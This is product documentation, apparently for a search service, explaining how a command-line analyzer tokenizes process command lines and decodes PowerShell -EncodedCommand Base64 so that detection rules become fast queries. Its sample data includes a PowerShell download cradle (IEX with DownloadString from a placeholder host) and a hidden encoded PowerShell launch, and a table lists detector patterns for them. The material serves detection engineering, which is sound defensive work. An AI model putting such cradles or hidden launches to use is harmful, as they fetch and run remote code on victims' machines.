# Command lines

Detection rules are usually written as substring wildcards over a whole command line:
`CommandLine:*powershell*`, `*\install_update.bat`, `* -enc *`. On a search index, a leading
wildcard reads the whole term dictionary of the field, which is slow and can hit the query's
term budget. The `cmdline` analyzer splits command lines, executable paths, URLs, UNC paths and
registry keys into their words and switches, so the same rules become fast term, prefix and
phrase lookups: the rule asks whether the command line *has* a word, not whether it *contains*
some characters.

```json
{"fields": {"CommandLine": {"type": "text", "analyzer": "cmdline"}}}
```

`C:\Windows\System32\cmd.exe /c install_update.bat` is indexed as `c`, `windows`, `system32`,
`cmd`, `exe`, `c`, `install_update`, `bat`.

## How values are split

- Whitespace, control characters and every ASCII punctuation character except `-` and `_` split
  words: `` \ / . : ; , = " ' ( ) [ ] { } < > | & ^ @ ! ? * + ~ % # $ `` and the backtick.
- Letters, digits, `-`, `_` and every non-ASCII character stay inside a word.
- A word that starts with `-` is indexed whole (`-enc`, `--check-updates`) and again without
  the dashes (`enc`, `check-updates`) at the same position, so `CommandLine:enc` and
  `CommandLine:"-enc"` both match. `/` switches lose their slash, since `/` splits.
- A run longer than 255 bytes, such as a Base64 blob, is indexed as consecutive chunks of at most
  255 bytes.

## Detector patterns as queries

With these sample documents:

```json
[
  {"id": "p1", "CommandLine": "C:\\Windows\\System32\\cmd.exe /c C:\\Users\\Public\\install_update.bat"},
  {"id": "p2", "CommandLine": "PowerShell.exe -nop -w hidden -enc JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0AA=="},
  {"id": "p3", "CommandLine": "powershell.exe -c IEX (New-Object System.Net.WebClient).DownloadString('http://example.test/p.ps1')"},
  {"id": "p4", "CommandLine": "C:\\Program Files\\Updater\\updater.exe --check-updates"},
  {"id": "p5", "CommandLine": "net use \\\\fileserver\\share$ /user:CORP\\svc_backup"}
]
```

| Detector pattern | Query (Lucene syntax) | Matches |
|---|---|---|
| `*powershell*` | `CommandLine:powershell` | p2, p3 |
| `*\install_update.bat` | `CommandLine:"install_update bat"` | p1 |
| `*system.net.webclient*` | `CommandLine:"system net webclient"` | p3 |
| `*downloadstring(*` | `CommandLine:downloadstring` | p3 |
| `* -enc *`, `*-EncodedCommand*` | `CommandLine:enc`, `CommandLine:encodedcommand` | p2 |
| `* -w hidden *` | `CommandLine:"-w hidden"` | p2 |
| `-enc JAB*` (Base64 of UTF-16 `$`) | `CommandLine:jab*` | p2 |
| `*\\fileserver\share*` | `CommandLine:"fileserver share"` | p5 |
| `cmd.exe /c *` | `CommandLine:"cmd exe c"` | p1 |
| `*updater*--check-updates*` | `CommandLine:updater AND CommandLine:"--check-updates"` | p4 |

```bash
curl -X POST https://api.warpsearch.io/v1/collections/processes/search \
  -H "Authorization: Bearer $WARPSEARCH_API_KEY" \
  -H "Content-Type: application/json" \
  -d '{"query": "CommandLine:powershell AND CommandLine:enc", "fields": ["id"]}'
```

Matching is at word boundaries, which changes what some rules mean:

- `CommandLine:power` does not match `powershell`. Use a prefix, `CommandLine:power*`.
- `CommandLine:update` does not match `install_update`, because `_` stays inside the word. Use
  `CommandLine:*update*` for the rare mid-word case: it still scans the dictionary, but of short
  words rather than whole command lines. Wildcard queries depend on your plan.
- A phrase keeps word order and adjacency, not the punctuation between the words, and does not
  require the value to end there: `"install_update bat"` also matches `install_update/bat`.
- A chunked Base64 run is not searchable across chunk boundaries.

When the exact characters matter, including punctuation, or the value is longer than 255 bytes,
use [Substring search](substring-search.md). For fast `*.exe`-style suffixes on whole values, use
[Suffix search](suffix-search.md).

## Case

`cmdline` lowercases words. `lowercase` is a normalizing filter, so prefix, wildcard, regex and
fuzzy terms are lowercased the same way: `CommandLine:POWERSHELL`, `CommandLine:POWERSH*` and
`CommandLine:powersh*` are the same query, with no case-insensitive flag, and capitalization does
not count as fuzzy edits. Detectors written with any capitalization work unchanged.

To keep case, use `cmdline_exact`, which splits the same way without lowercasing. Folding at
index time cannot be undone at query time, so keep a `cmdline_exact` [variant](schemas-and-fields.md#variants)
if some investigations need exact case:

```json
{"fields": {"CommandLine": {"type": "text", "analyzer": "cmdline",
                            "variants": {"cs": {"type": "text", "analyzer": "cmdline_exact"}}}}}
```

`CommandLine__cs:PowerShell` then matches only that capitalization.

## Decode PowerShell -EncodedCommand

Attackers hide commands in PowerShell's `-EncodedCommand` argument, Base64 of UTF-16 text. The
`cmdline_base64` filter recognizes Base64 words and decodes them, so the hidden command's words
become searchable. It is not part of the `cmdline` preset; add it in your own chain, before
`lowercase`, because Base64 is case sensitive:

```json
{
  "fields": {
    "CommandLine": {
      "type": "text",
      "analyzer": {"tokenizer": "cmdline", "filters": ["cmdline_base64", "lowercase"]}
    }
  }
}
```

For `powershell.exe -EncodedCommand JABjAG0AZAAgAD0AIAAxAA==`, which encodes `$cmd = 1`, the
field keeps the encoded word and adds:

- `b64:blob` at the encoded word's position, for any word that looks like Base64;
- `b64:utf16` or `b64:utf8` when the blob decodes to printable UTF-16 or UTF-8 text;
- the decoded words, `cmd` and `1`, at the positions after the blob.

So `CommandLine:encodedcommand AND CommandLine:cmd` and `CommandLine:"cmd 1"` match. To find the
markers themselves, use a term query, which is not split at the colon:

```json
{"language": "es", "query": {"term": {"CommandLine": "b64:utf16"}}}
```

| Param | Default | Meaning |
|---|---|---|
| `min_length` | `16` | Shortest word, in bytes, treated as Base64 (4 to 255). |
| `decode` | `true` | `false` adds only `b64:blob`, without decoding. |

Notes:

- A Base64 word must use the standard alphabet and mix upper- and lowercase letters. A long hash
  or key that does too also gets `b64:blob`.
- Chunks of a long blob are joined again before decoding.
- `+` and `/` split words, so a blob that contains them is decoded in pieces, or not at all.
- A decoded word alone does not tell encoded content from the same word in clear text; combine it
  with `b64:utf16`, or with `encodedcommand` or `enc`.
- A highlight of a decoded word covers the whole blob.

## Components

| Name | Kind | Does |
|---|---|---|
| `cmdline` | analyzer | `cmdline` tokenizer, `lowercase`. |
| `cmdline_exact` | analyzer | `cmdline` tokenizer alone, case preserved. |
| `cmdline` | tokenizer | Splits as described above. |
| `cmdline_base64` | filter | Marks and decodes Base64 words. |

`cmdline` tokenizer params:

| Param | Default | Meaning |
|---|---|---|
| `keep_delimiters` | `[]` | One-character strings not to split on. `["."]` keeps `system.net.webclient` and `cmd.exe` whole. |
| `split_on_dash` | `false` | `true` makes `-` a delimiter, and drops the second form of switches. |
| `min_length` | `1` | Drop shorter words, in bytes. |
| `max_length` | `255` | Chunk size for long runs, in bytes (1 to 255). |

For case-insensitive whole identifiers, such as host or account names, a `string` field with a
normalizer is enough: with `"normalizer": ["nfkc_cf"]`, `BUILD-AGENT-07` matches `asset:build*`.